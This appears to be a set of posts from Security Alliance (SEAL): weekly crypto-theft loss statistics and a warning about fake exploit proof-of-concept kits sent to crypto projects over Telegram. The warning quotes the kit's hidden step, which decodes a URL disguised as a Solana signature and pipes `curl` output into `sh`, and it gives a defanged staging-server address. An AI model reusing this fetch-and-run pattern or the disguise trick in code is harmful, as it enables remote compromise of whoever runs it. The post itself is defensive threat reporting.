Security Alliance

🔥 This week's update is a doozy because of the record volume of incidents, losses, IOCs collected, and attack vectors. SEAL weekly stats, 20-27 Oct. 73 incidents. Losses by category: Phishing: $47.1M Protocol compromise: $9.46M DPRK intrusion: $3.22M Cause unknown: $3.12M Malware: $2.27M Pig butchering: $1M + €59.4K Seed compromise: $905k + 829.4 SOL Infrastructure exploit: $517K What we collected: 5,179 malicious domains 126 wallets

🚨 PSA: threat actors are approaching crypto projects on Telegram, posing as white-hat researchers, offering an “exploit PoC” for your own infra. The PoC contains malware. Our detailed write-up is linked below. It’s a complete, runnable Solana exploit kit (fork harness, fixtures, the real program binary) so it looks legit. But poc.mjs reads a byte array from a JSON field called UnifiedSignatureInfo, decodes it to a URL, and runs curl -fsSL -k "<url>" | sh. The decimal array is plain ASCII posing as a Solana signature. Following the README (npm install, start fork, node poc.mjs) is what detonates it. IOC: hxxps://162[.]35[.]174[.]231:5000/stage2. Treat any unsolicited PoC as hostile, review statically in an isolated VM, and never run the setup steps on a box you care about. Report any suspicious reachouts to SEAL. radar.securityalliance.org/a…

SEAL weekly stats, 13-20 Oct. 70 incidents. Losses by category: 1) CryptoBilis: $9.3M 2) Seed compromise: $3.86M + 64.5 ETH + 0.3 BTC 3) Protocol compromise: $2M + 37.44 ETH 4) Account takeover: $1.6M 5) Wrench attacks: $1.22M 6) Malware: $316K + 0.47 BTC 7) Phishing: $284K 8) DPRK intrusion: $260K